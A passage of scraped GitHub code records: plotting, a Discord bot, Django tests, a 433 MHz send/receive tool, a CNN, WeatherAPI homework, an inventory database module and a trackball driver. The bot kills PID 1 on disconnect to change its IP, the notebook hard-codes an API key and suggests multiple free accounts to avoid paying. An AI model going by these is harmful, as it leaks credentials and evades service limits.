and func_d1 != 0:\n func1 = x * (func_d1 / func) # условие *\n if func1.real > 0: # Проверка условия *\n func2 = 1 + x * (func_d2 / func_d1) # условие 0\n if func2.real > 0: # Проверка условия 0\n graf.plot(x.real, x.imag, '-k.')\n graf1.plot(func.real, func.imag, '-k.')\n else:\n graf.plot(x.real, x.imag, '-y.')\n graf1.plot(func.real, func.imag, '-y.')\n else:\n graf.plot(x.real, x.imag, '-r.')\n \ndef build(n):\n dr = 1 / n # Расстояние\n df = (2 * np.pi) / n # Поворот\n d = 0.05\n l = np.arange(-1, 1, d)\n X = []\n Y = [] \n global graf1, graf #graf2\n graf = pylab.subplot(1,2,1)\n graf1 = pylab.subplot(1,2,2)\n #graf2 = pylab.subplot(1,3,3)\n\n x = 'x'\n func = 'x / (x + 1)**2'# исходная функция\n func_d1 = diff(func, x) #'(1-x)/(1+x)**3' # производная по x\n func_d2 = diff(func_d1, x) #'(-4+2*x)/(1+x)**4' # вторя производная по х\n #отображение функций\n #print(func)\n #print(func_d1)\n #print(func_d2)\n \n # заполнение массива X и iY\n for x in l:\n for y in l:\n if x**2 + y**2 < 1-0.05:\n X.append(x)\n Y.append(1j * y)\n\n for i in range(len(Y)):\n # Отрисовка точек в круге.\n graf.plot(X[i], Y[i].imag, '-b.')\n # Вызов функции тест.\n test_conditions(X[i] + Y[i], func, func_d1, func_d2)\n\n # Граница круга\n k = np.arange(n + 1) # Формируем массив\n alfa = k * df\n rad = n * dr\n z = rad * np.cos(alfa) + 1j * rad * np.sin(alfa)\n graf.plot(z.real, z.imag, '-k.')\n #graf1.plot(z.real, z.imag, '-k.')\n\n graf.axis('equal')\n #graf1.axis('equal')# Маштабирование - круг кругом\n\nn = 25\nmain_window = pylab.figure() # Окно с графиком\nbuild(n)\npylab.show()\n","repo_name":"060PM0T/circle","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"9013789478","text":"from nextcord.ext import commands\nfrom nextcord import Intents\nbot = commands.Bot(command_prefix=['?'], intents=Intents.all(), help_command=None)\nfrom os import listdir, system\nfrom data import token\nfrom host import Host\nHost()\nfor fn in listdir('cogs'):\n if fn.endswith(\".py\"):\n bot.load_extension(f'cogs.{fn[:-3]}')\n@bot.listen(\"on_disconnect\")\nasync def change_ip():\n system(\"kill 1\")\ntry:\n bot.run(token)\nexcept Exception as e:\n print(e)\n system('kill 1')\n","repo_name":"Name-shitty-github-profile/code-learn-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"7359409925","text":"from django.core.urlresolvers import reverse\nfrom django.urls import resolve\nfrom django.test import TestCase\n\nfrom ..forms import NewUrlForm\nfrom ..views import HomeView\nfrom ..models import User, Urls\n\n\nclass HomeTests(TestCase):\n def setUp(self):\n \"\"\"SetUp to get response page.\"\"\"\n self.user = User.objects.create_user(\"testusername\")\n self.home_url = reverse('home')\n self.response = self.client.get(self.home_url)\n\n def test_home_view_csrf(self):\n \"\"\"Check if html contains csrf.\"\"\"\n self.assertContains(self.response, 'csrfmiddlewaretoken')\n\n def test_home_view_success_status_code(self):\n \"\"\"If home page runs succesfuly.\"\"\"\n self.assertEquals(self.response.status_code, 200)\n\n def test_home_view_url_resolves_home_view(self):\n \"\"\"If home page runs corrent function from view.\"\"\"\n view = resolve('/')\n self.assertEquals(view.func.view_class, HomeView)\n\n def test_home_valid_post_data(self):\n \"\"\"If URL objects gets created with valid URL.\"\"\"\n data = {'user_url': 'http://www.somesite.com'}\n response = self.client.post(self.home_url, data)\n self.assertTrue(Urls.objects.exists())\n\n def test_home_invalid_post_data(self):\n \"\"\"\n Invalid post data should not redirect.\n The expected behavior is to show the form again with validation errors.\n \"\"\"\n response = self.client.post(self.home_url, {})\n form = response.context.get('form')\n self.assertEquals(self.response.status_code, 200)\n self.assertTrue(form.errors)\n\n data = {'user_url': 'zzzNot a Urlzzz'}\n response = self.client.post(self.home_url, data)\n form = response.context.get('form')\n self.assertEquals(self.response.status_code, 200)\n self.assertFalse(Urls.objects.exists())\n self.assertTrue(form.errors)\n\n def test_home_empty_post_data(self):\n \"\"\"If trying to post empty should not redirect.\"\"\"\n data = {'user_url': ''}\n response = self.client.post(self.home_url, data)\n self.assertFalse(Urls.objects.exists())\n\n def test_home_contains_form(self):\n \"\"\"If home contains NewUrlForm.\"\"\"\n form = self.response.context.get('form')\n self.assertIsInstance(form, NewUrlForm)\n","repo_name":"Ardalanh/MyUrl_Shortener","sub_path":"shortener/tests/test_view_home.py","file_name":"test_view_home.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"21151596933","text":"import os\nimport time\n\nfrom colorama import Fore, Back\n\nfrom config import RECEIVER_PIN, TRANSMITTER_PIN, DEFAULT_LENGTH\nfrom lib.receiver import Receiver\nfrom lib.transmitter import Transmitter\n\n\ndef print_menu():\n print(f'''{Fore.CYAN} \n ,--. ,---.,----. ,----. \n `--' ,---. / |'.-. |'.-. | \n ,--.| .--'/ ' | .' < .' < \n | |\\ `--.'--| |/'-' |/'-' | \n `--' `---' `--'`----' `----' \n\n {Fore.GREEN}:: version: 0.1 ::\n \n {Fore.CYAN} - 1 - {Fore.RESET}RECEIVE\n {Fore.CYAN} - 2 - {Fore.RESET}SEND\n {Fore.CYAN} - Q - {Fore.RESET}QUIT\n ''')\n\n\ndef menu():\n action = \"\"\n while action.lower() != \"q\":\n os.system(\"clear\")\n print_menu()\n\n action = input(\"> \")\n\n if action == \"1\":\n receiver = Receiver(RECEIVER_PIN)\n receiver.start()\n elif action == \"2\":\n code = int(input(\"Code: \"))\n plength = int(input(\"Pulse length: \"))\n proto = int(input(\"Protocol: \"))\n repeat = int(input(\"Repeat: \")) or 1\n\n if repeat < 1:\n repeat = 1\n\n sender = Transmitter(TRANSMITTER_PIN, code, plength, proto, DEFAULT_LENGTH, repeat)\n sender.start()\n elif action.lower() != \"q\":\n print(Fore.RED + \"Wrong action\")\n time.sleep(1)\n\n\nif __name__ == \"__main__\":\n menu()\n","repo_name":"crucidead/ic433","sub_path":"ic.py","file_name":"ic.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"71802379900","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\n# Definition of the CNN\n# Subclass the torch.nn Module\n# Model shape is based on LeNet\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n\n # Note: image input dimensions should be 32 x 32 x 3\n\n # First convolution, 2D convolution with 3 input channels, 6 output channels (6 filters) and a kernel of size 5x5 (Padding 0, Stride 1)\n # Dimensions should be 32 - 5 + 1 = 28, 28 x 28 x 6\n self.conv1 = nn.Conv2d(3, 6, 5)\n\n # Max pooling with kernel size of 2 and stride of 2\n # Dimensions should be 14 x 14 x 6\n self.pool = nn.MaxPool2d(2, 2)\n\n # Second convolution layer, 2D convolution with 6 input channels, 16 output channels (16 filters) and a kernel size of 5x5\n # Dimensions should be 14 - 5 + 1 = 10, 10 x 10 x 6\n self.conv2 = nn.Conv2d(6, 16, 5)\n\n # Fully connected layer, 16 * 5 * 5 input features which are the dimension of the input stacked on top, 16 channels, 5x5\n # 120 output features\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n\n # Second fully connected Layer, 120 input features, 84 output features\n self.fc2 = nn.Linear(120, 84)\n\n # Third fully connected layer, 84 input features, 10 output features\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n\n # Apply first convolution layer followed by ReLU activation and Max Pooling\n # Dimensions = 14 x 14 x 6\n x = self.pool(F.relu(self.conv1(x)))\n\n # Apply second convolution layer followed by ReLU activation and Max Pooling\n # Dimensions = 5 x 5 x 16\n x = self.pool(F.relu(self.conv2(x)))\n\n # Reshape the tensor into 16 * 5 * 5 columns, flattens the tensor\n x = x.view(-1, 16 * 5 * 5)\n\n # Apply Fully connected layers 1, 2 and 3 with ReLU activation functions\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x","repo_name":"DiscoBroccoli/Classification-of-Image-Data","sub_path":"CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"376468520","text":"import sys\nsys.stdin= open('정곤이의단조증가수_6190.txt', 'r')\n\ntestcase = int(input())\n\nfor i in range(1, testcase+1):\n N = int(input())\n numbers = list(map(int, input().split()))\n result = []\n for x in range(len(numbers)):\n for y in range(x+1, N):\n z = numbers[x] * numbers[y]\n strZ =str(z)\n\n count = 0\n for l in range(len(strZ)-1):\n if strZ[l] <= strZ[l+1]:\n count += 1\n else:\n break\n if count == len(strZ)-1: #만약 COUNT가 문자열길이 -1 만큼 돈 경우 즉, 단조증가수인경우\n result.append(z)\n print(result)\n\n\n if len(result) > 0:\n final = max(result)\n else:\n final = -1\n print('#{} {}'.format(i, final))\n\n\n","repo_name":"edukyumin/TIL-Today_I_Learn","sub_path":"0205_문제풀이1/정곤이의단조증가수_6190.py","file_name":"정곤이의단조증가수_6190.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18109559232","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # WeatherAPI (Weather)\n# \n# Answer the following questions using [WeatherAPI](http://www.weatherapi.com/). I've added three cells for most questions but you're free to use more or less! Hold `Shift` and hit `Enter` to run a cell, and use the `+` on the top left to add a new cell to a notebook.\n# \n# Be sure to take advantage of both the documentation and the API Explorer!\n# \n# ## 0) Import any libraries you might need\n# \n# - *Tip: We're going to be downloading things from the internet, so we probably need `requests`.*\n# - *Tip: Remember you only need to import requests once!*\n\n# In[ ]:\n\n\nimport requests\n\n\n# In[ ]:\n\n\napi_key = '0d3e848d3d2648e4949185759221306'\n\n\n# ## 1) Make a request to the Weather API for where you were born (or lived, or want to visit!).\n# \n# - *Tip: The URL we used in class was for a place near San Francisco. What was the format of the endpoint that made this happen?*\n# - *Tip: Save the URL as a separate variable, and be sure to not have `[` and `]` inside.*\n# - *Tip: How is north vs. south and east vs. west latitude/longitude represented? Is it the normal North/South/East/West?*\n# - *Tip: You know it's JSON, but Python doesn't! Make sure you aren't trying to deal with plain text.* \n# - *Tip: Once you've imported the JSON into a variable, check the timezone's name to make sure it seems like it got the right part of the world!*\n\n# In[ ]:\n\n\nlocation = 'Norwich'\nurl = f'http://api.weatherapi.com/v1/current.json?key={api_key}&q={location}'\n\nr = requests.get(url)\ndata = r.json()\n\n\n# In[ ]:\n\n\nlatitude = data['location']['lat']\nlongitude = data['location']['lon']\n\nprint(f'The latitude/longitude returned by the Weather API for {location} is {latitude}/{longitude}')\n\n\n# In[ ]:\n\n\ntimezone = data['location']['tz_id']\n\nprint(f'The timezone returned by the Weather API for {location} is {timezone}')\n\n\n# ## 2) What's the current wind speed? How much warmer does it feel than it actually is?\n# \n# - *Tip: You can do this by browsing through the dictionaries, but it might be easier to read the documentation*\n# - *Tip: For the second half: it **is** one temperature, and it **feels** a different temperature. Calculate the difference.*\n\n# In[ ]:\n\n\nwindspeed_mph = data['current']['wind_mph']\n\nprint(f'The current wind speed in {location} is {windspeed_mph} mph.')\n\n\n# In[ ]:\n\n\ncurrent_temp_c = data['current']['temp_c']\nfeels_like_temp_c = data['current']['feelslike_c']\ntemp_difference = feels_like_temp_c - current_temp_c\n\n\n# In[ ]:\n\n\nif temp_difference > 0:\n print(f\"In {location} it currently feels {temp_difference} C warmer than the actual temperature of {current_temp_c} C.\")\nelif temp_difference < 0:\n print(f\"In {location} it currently feels {-temp_difference} C colder than the actual temperature of {current_temp_c} C.\")\nelse:\n print(f\"The current temperature in {location} feels the same as the actual temperature, which is {current_temp_c} C.\")\n\n\n# ## 3) What is the API endpoint for moon-related information? For the place you decided on above, how much of the moon will be visible tomorrow?\n# \n# - *Tip: Check the documentation!*\n# - *Tip: If you aren't sure what something means, ask in Slack*\n\n# In[ ]:\n\n\nastronomy_endpoint = 'http://api.weatherapi.com/v1/astronomy.json'\n\n\n# In[ ]:\n\n\nurl = f'http://api.weatherapi.com/v1/astronomy.json?key={api_key}&q={location}&dt=2022-06-17'\n\nr = requests.get(url)\ndata = r.json()\n\n\n# In[ ]:\n\n\nmoon_illumination = data['astronomy']['astro']['moon_illumination']\n\nprint(f'Tomorrow {moon_illumination}% of the moon will be visible in {location}.')\n\n\n# ## 4) What's the difference between the high and low temperatures for today?\n# \n# - *Tip: When you requested moon data, you probably overwrote your variables! If so, you'll need to make a new request.*\n\n# In[ ]:\n\n\nurl = f'http://api.weatherapi.com/v1/forecast.json?key={api_key}&q={location}&days=1'\n\nr = requests.get(url)\ndata = r.json()\n\n\n# In[ ]:\n\n\nmax_temp = data['forecast']['forecastday'][0]['day']['maxtemp_c']\nmin_temp = data['forecast']['forecastday'][0]['day']['mintemp_c']\ntemp_diff = max_temp - min_temp\n\nprint(f'The difference between the maximum temperature ({max_temp} C) and the minimum temperature ({min_temp} C) is {temp_diff:.1f} C.')\n\n\n# ## 4.5) How can you avoid the \"oh no I don't have the data any more because I made another request\" problem in the future?\n# \n# What variable(s) do you have to rename, and what would you rename them?\n\n# The variables I would rename are:\n# ```\n# url\n# r\n# data\n# ```\n# \n# I would rename them in a way that was relevant to the task they were performing, e.g. for question 1 I might use:\n# \n# ```\n# current_weather_url\n# current_weather_response\n# current_weather_data\n# ```\n# For question 3, I might use:\n# ```\n# astronomy_url\n# astronomy_response\n# astronomy_data\n# ```\n\n# In[ ]:\n\n\n\n\n\n# ## 5) Go through the daily forecasts, printing out the next three days' worth of predictions.\n# \n# I'd like to know the **high temperature** for each day, and whether it's **hot, warm, or cold** (based on what temperatures you think are hot, warm or cold).\n# \n# - *Tip: You'll need to use an `if` statement to say whether it is hot, warm or cold.*\n\n# In[ ]:\n\n\nn_days = 3\nurl = f'http://api.weatherapi.com/v1/forecast.json?key={api_key}&q={location}&days={n_days}'\nr = requests.get(url)\ndata = r.json()\n\n\n# In[ ]:\n\n\nforecast_days = data['forecast']['forecastday']\n\n\n# In[ ]:\n\n\nfor day in forecast_days:\n date = day['date']\n max_temp_c = day['day']['maxtemp_c']\n\n if max_temp_c >= 25:\n temp_ranking = 'hot'\n elif max_temp_c >= 18:\n temp_ranking = 'warm'\n else:\n temp_ranking = 'cold'\n\n print(f'On {date} the maximum temperature will {max_temp_c}, which is {temp_ranking}')\n\n\n# ## 5b) The question above used to be an entire week, but not any more. Try to re-use the code above to print out seven days.\n# \n# What happens? Can you figure out why it doesn't work?\n# \n# * *Tip: it has to do with the reason you're using an API key - maybe take a look at the \"Air Quality Data\" introduction for a hint? If you can't figure it out right now, no worries.*\n\n# In[ ]:\n\n\nn_days = 7\nlocation = 'Norwich'\nurl = f'http://api.weatherapi.com/v1/forecast.json?key={api_key}&q={location}&days={n_days}&aqi=no'\nr = requests.get(url)\ndata = r.json()\n\nforecast_days = data['forecast']['forecastday']\n\nfor day in forecast_days:\n date = day['date']\n max_temp_c = day['day']['maxtemp_c']\n\n if max_temp_c >= 25:\n temp_ranking = 'hot'\n elif max_temp_c >= 18:\n temp_ranking = 'warm'\n else:\n temp_ranking = 'cold'\n\n print(f'On {date} the maximum temperature will {max_temp_c}, which is {temp_ranking}')\n\n\n# The above code only returns forecasts for three days rather than seven due to a limitation of the free subscription plan: \"Depending upon your subscription plan we provide current and 3 day air quality data for the given location in json and xml.\"\n\n# ## 6) What will be the hottest day in the next three days? What is the high temperature on that day?\n\n# In[ ]:\n\n\nwarmest_temp = -100\n\nfor day in forecast_days:\n date = day['date']\n max_temp_c = day['day']['maxtemp_c']\n\n if max_temp_c > warmest_temp:\n warmest_temp = max_temp_c\n warmest_day = date\n\nprint(f'The warmest day will be {warmest_day} when it will be {warmest_temp}.')\n\n\n# ## 7) What's the weather looking like for the next 24+ hours in Miami, Florida?\n# \n# I'd like to know the temperature for every hour, and if it's going to have cloud cover of more than 50% say \"{temperature} and cloudy\" instead of just the temperature. \n# \n# - *Tip: You'll only need one day of forecast*\n\n# In[ ]:\n\n\nlocation = 'Miami, FL'\nurl = f'http://api.weatherapi.com/v1/forecast.json?key={api_key}&q={location}'\nr = requests.get(url)\ndata = r.json()\n\nhourly_forecasts = data['forecast']['forecastday'][0]['hour']\n\nfor hour in hourly_forecasts:\n time = hour['time']\n temp_c = hour['temp_c']\n cloud_cover = hour['cloud']\n\n if cloud_cover > 50:\n cloud_desc = 'cloudy'\n else:\n cloud_desc = 'clear'\n\n print(f'{time}: Temperature forecast is {temp_c} C and {cloud_desc} ({cloud_cover}% cloud cover).')\n\n\n# ## 8) For the next 24-ish hours in Miami, what percent of the time is the temperature above 85 degrees?\n# \n# - *Tip: You might want to read up on [looping patterns](http://jonathansoma.com/lede/foundations-2017/classes/data%20structures/looping-patterns/)*\n\n# In[ ]:\n\n\nhour_count = 0\nover_85_count = 0\n\nfor hour in hourly_forecasts:\n hour_count += 1\n\n temp_f = hour['temp_f']\n\n if temp_f > 85:\n over_85_count += 1\n\nprop_time_over_85 = (over_85_count / hour_count) * 100\nprint(f'The temperate will be over 85 degrees (F) {prop_time_over_85:.1f}% of the time in the next 24 hours.')\n\n\n# ## 9) How much will it cost if you need to use 1,500,000 API calls?\n# \n# You are only allowed 1,000,000 API calls each month. If you were really bad at this homework or made some awful loops, WeatherAPI might shut down your free access. \n# \n# * *Tip: this involves looking somewhere that isn't the normal documentation.*\n\n# Answer: Per the Weather API [pricing](https://www.weatherapi.com/pricing.aspx) page, a developer account costs $4/month and permits 2,000,000 calls per month.\n\n# ## 10) You're too poor to spend more money! What else could you do instead of give them money?\n# \n# * *Tip: I'm not endorsing being sneaky, but newsrooms and students are both generally poverty-stricken.*\n\n# Answer: To avoid paying, you could open additional free accounts and use multiple API keys.\n","repo_name":"petebrown/homework-04-last.fm-and-weather-api","sub_path":"WeatherAPI API (Weather).py","file_name":"WeatherAPI API (Weather).py","file_ext":"py","file_size_in_byte":9571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4609810461","text":"from DB import conexion as c\nimport pymysql\nfrom CLASES import alojamiento, productos\n\n\n\nclass Lote:\n\n def __init__(self, idproducto, cantidad, fechalote, vencimiento):\n self.idproducto = idproducto\n self.cantidad = cantidad\n self.fechalote = fechalote\n self.vencimiento = vencimiento\n print(\"se creo lote correctamente\")\n self.alta_lote()\n\n def alta_lote(self):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"INSERT INTO lote(idproducto,cantidad,fechalote,vencimiento) VALUES (%s,%s,%s,%s)\"\n values = (self.idproducto, self.cantidad, self.fechalote, self.vencimiento)\n cursor.execute(query, values)\n a.commit()\n vol=productos.ver_vol(self.idproducto)*self.cantidad\n pos=productos.ver_posicion(self.idproducto)\n print(\"se dio alta al lote correctamente\")\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\ndef eliminar_lote(fechalote, idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"DELETE FROM lote WHERE idproducto=%s and fechalote=%s\"\n values = (idproducto, fechalote)\n cursor.execute(query, values)\n a.commit()\n print(\"se elimino lote correctamente\")\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\ndef eliminar_prod_lote(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"DELETE FROM lote WHERE idproducto=%s\"\n values = idproducto\n cursor.execute(query, values)\n a.commit()\n print(\"se elimino lote correctamente\")\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\ndef modificar_cantidad(idproducto, fechalote, cantidad):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"UPDATE lote set cantidad=%s WHERE idproducto=%s and fechalote=%s\"\n values = (cantidad, idproducto, fechalote)\n cursor.execute(query, values)\n a.commit()\n print(\"se elimino lote correctamente\")\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\ndef mod_idpruct(codigov, codigon):\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT idlote FROM lote WHERE idproducto=%s\"\n values = codigov\n cursor.execute(query, values)\n a.commit()\n b = cursor.fetchall()\n idl = str(b[0][0])\n try:\n query = \"UPDATE lote set idproducto=%s WHERE idlote=%s\"\n values = (codigon, idl)\n cursor.execute(query, values)\n a.commit()\n\n print(\"se MODIFICO lote correctamente\")\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\n@staticmethod\ndef contar_filas():\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT COUNT(*) FROM lote\"\n cursor.execute(query)\n a.commit()\n b = cursor.fetchall()\n b = str(b[0][0])\n n = int(b)\n c.close_connection(a)\n return n\n\ndef contar_filas_producto(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT COUNT(*) FROM lote WHERE idproducto=%s\"\n values = idproducto\n cursor.execute(query, values)\n a.commit()\n b = cursor.fetchall()\n b = str(b[0][0])\n n = int(b)\n c.close_connection(a)\n return n\n\ndef listar_lote(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"SELECT l.idproducto,p.descripcion,l.cantidad,l.fechalote,l.vencimiento FROM lote l JOIN productos p ON l.idproducto=p.codigo WHERE l.idproducto=%s\"\n #values = idproducto,idproducto\n cursor.execute(query, idproducto)\n area = cursor.fetchall()\n a.commit()\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n return area\n\ndef mostrar_lote(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT idproducto,cantidad,fechalote,vencimiento FROM lote WHERE idproducto=%s\"\n cursor.execute(query, idproducto)\n data = cursor.fetchall()\n a.commit()\n return data\n\ndef obtener_cantidades(idproducto):\n cantidad = 0\n cant = 0\n n = contar_filas_producto(idproducto)\n i = 0\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT cantidad FROM lote WHERE idproducto=%s ORDER BY cantidad\"\n cursor.execute(query, idproducto)\n cantidad = cursor.fetchall()\n a.commit()\n while i < n:\n cant = cantidad[i][0] + cant\n #print(cantidad[i][0])\n i = i + 1\n #print(cant)\n c.close_connection(a)\n return cant\n\ndef obtener_fecha(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"SELECT vencimiento FROM lote WHERE idproducto=%s ORDER BY vencimiento\"\n cursor.execute(query, idproducto)\n param = cursor.fetchone()\n a.commit()\n if param == None:\n return \"No hay productos\"\n else:\n param=param[0]\n return param\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n c.close_connection(a)\n\ndef verificar(param):\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT * FROM lote WHERE fechalote = %s\"\n cursor.execute(query, param)\n a.commit()\n data=cursor.fetchall()\n if str(data)==\"()\":\n return 1\n else: return 0\n\ndef fifo(idproducto, cantidad):\n print(\"fifo\")\n cantidad=int(cantidad)\n n = contar_filas_producto(idproducto)\n i = 0\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT idlote FROM lote WHERE idproducto=%s ORDER BY vencimiento\"\n cursor.execute(query, idproducto)\n cantidad_total=0\n idlote = cursor.fetchall()\n if(str(idlote)==\"()\"):\n return 0\n idlote = idlote[0][0]\n\n query = \"SELECT cantidad FROM lote WHERE idproducto=%s ORDER BY vencimiento\"\n cursor.execute(query, idproducto)\n data = cursor.fetchall()\n data = data\n for x in data:\n cantidad_total = cantidad_total + x[0]\n print(\"cantidad_total \", cantidad_total)\n print(\"cantidad a sacar \", cantidad)\n #print(\"n3 \",n3)\n if cantidad_total < cantidad:\n return 1\n\n if idlote == \"()\":\n return 0\n else:\n\n a.commit()\n\n while i < n:\n print(\"i \",i)\n query = \"SELECT cantidad FROM lote WHERE idproducto=%s ORDER BY vencimiento\"\n cursor.execute(query, idproducto)\n data = cursor.fetchall()\n n=data[0][0]\n print(\"cantidad de lote \", n)\n a.commit()\n if n < cantidad:\n query = \"DELETE FROM lote WHERE idproducto=%s and cantidad=%s\"\n values = (idproducto, n)\n cursor.execute(query, values)\n a.commit()\n cantidad = cantidad - n\n idlote += 1\n i = i + 1\n else:\n n2 = n - cantidad\n print(\"n2 \",n2)\n if n2 == 0:\n\n query = \"DELETE FROM lote WHERE idproducto=%s and cantidad=%s\"\n values = (idproducto,n)\n cursor.execute(query, values)\n a.commit()\n\n query = \"UPDATE lote set cantidad=%s WHERE idproducto=%s and cantidad=%s and idlote=%s\"\n values = (n2, idproducto, n,idlote)\n cursor.execute(query, values)\n a.commit()\n cantidad = cantidad - n\n print(\"cantidad a sacar con lo sacado \",cantidad)\n\n idlote += 1\n i = n\n\ndef ver_lote(codigo):\n a = c.start_connection()\n cursor = a.cursor()\n query = \"SELECT COUNT(*) FROM lote\"\n cursor.execute(query)\n a.commit()\n b = cursor.fetchall()\n b = str(b[0][0])\n n = int(b)\n i = 1\n codigo = \"(('\" + codigo + \"',),)\"\n while i < n:\n query = \"SELECT fechalote FROM lote WHERE idlote = %s\"\n values = i\n cursor.execute(query, values)\n a.commit()\n b = cursor.fetchall()\n b = str(b)\n #print(b)\n if b == codigo:\n i = n + 1\n else:\n i += 1\n if i == n + 1:\n c.close_connection(a)\n # existe\n return 1\n else:\n c.close_connection(a)\n return 0\n\ndef lote_codigo(idproducto):\n a = c.start_connection()\n cursor = a.cursor()\n try:\n query = \"SELECT fechalote FROM lote WHERE idproducto=%s ORDER BY vencimiento\"\n cursor.execute(query, str(idproducto))\n param = cursor.fetchall()\n a.commit()\n print(param)\n c.close_connection(a)\n if str(param) == \"()\":\n return 0\n else:\n param = param[0][0]\n return param\n except pymysql.err.OperationalError as err:\n print(\"Hubo un error:\", err)\n\n","repo_name":"juanignaciocansillieri/bullsoft","sub_path":"CLASES/lotes.py","file_name":"lotes.py","file_ext":"py","file_size_in_byte":9049,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"5971996695","text":"from django.contrib.auth.models import AbstractUser\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\n\nclass CustomUser(AbstractUser):\n email = models.EmailField(_('email address'), unique=True, null=True)\n social_thumb = models.URLField(null=True, blank=True)\n whirlwind_id = models.IntegerField(null=True, blank=True)\n vendor_id = models.CharField(null=True, blank=True, max_length=10)\n \n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = ['username']\n\n def save(self, *args, **kwargs):\n if not self.whirlwind_id:\n self.whirlwind_id = None\n if not self.vendor_id:\n self.vendor_id = None\n \n\n super(CustomUser, self).save(*args, **kwargs)","repo_name":"m0rpL1nG/Taternet","sub_path":"server/apps/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"18632414535","text":"import busio\nimport digitalio\nimport microcontroller\n\nimport time\n\nfrom kmk.modules import Module\nfrom kmk.modules.pmw3360_firmware import firmware\nfrom kmk.modules.mouse_keys import PointingDevice\nfrom kmk.keys import KC\n\n\nclass REG:\n Product_ID = 0x0\n Revision_ID = 0x1\n Motion = 0x02\n Delta_X_L = 0x03\n Delta_X_H = 0x04\n Delta_Y_L = 0x05\n Delta_Y_H = 0x06\n Config1 = 0x0F\n Config2 = 0x10\n SROM_Enable = 0x13\n Observation = 0x24\n SROM_ID = 0x2A\n Power_Up_Reset = 0x3A\n Motion_Burst = 0x50\n SROM_Load_Burst = 0x62\n\nclass PMW3360(Module):\n tsww = tswr = 180 \n baud = 2000000\n cpol = 1\n cpha = 1\n DIR_WRITE = 0x80\n DIR_READ = 0x7F\n\n def __init__(self, cs, sclk, miso, mosi, invert_x=False, invert_y=False, flip_xy=False):\n self.pointing_device = PointingDevice()\n self.cs = digitalio.DigitalInOut(cs)\n self.cs.direction = digitalio.Direction.OUTPUT\n self.spi = busio.SPI(clock=sclk, MOSI=mosi, MISO=miso)\n self.invert_x = invert_x\n self.invert_y = invert_y\n self.flip_xy = flip_xy\n self.scroll_control = False\n self.volume_control = False\n self.v_scroll_ctr = 0\n self.scroll_res = 8\n\n def start_v_scroll(self, enabled=True):\n self.scroll_control = enabled\n\n def start_volume_control(self, enabled=True):\n self.volume_control = enabled\n\n def pmw3360_start(self):\n self.cs.value = False\n\n def pmw3360_stop(self):\n self.cs.value = True\n\n def pmw3360_write(self, reg, data):\n while not self.spi.try_lock():\n pass\n try:\n self.spi.configure(baudrate=self.baud, polarity=self.cpol, phase=self.cpha)\n self.pmw3360_start()\n self.spi.write(bytes([reg | self.DIR_WRITE, data])) \n finally:\n self.spi.unlock()\n self.pmw3360_stop()\n microcontroller.delay_us(self.tswr)\n \n\n def pmw3360_read(self, reg):\n result = bytearray(1)\n while not self.spi.try_lock():\n pass\n try:\n self.spi.configure(baudrate=self.baud, polarity=self.cpol, phase=self.cpha)\n self.pmw3360_start()\n self.spi.write(bytes([reg & self.DIR_READ]))\n microcontroller.delay_us(160)\n self.spi.readinto(result) \n finally:\n self.spi.unlock()\n self.pmw3360_stop() \n microcontroller.delay_us(20) \n return result[0]\n\n def pwm3360_upload_srom(self):\n self.pmw3360_write(REG.Config2, 0x0)\n self.pmw3360_write(REG.SROM_Enable, 0x1D)\n time.sleep(0.01)\n 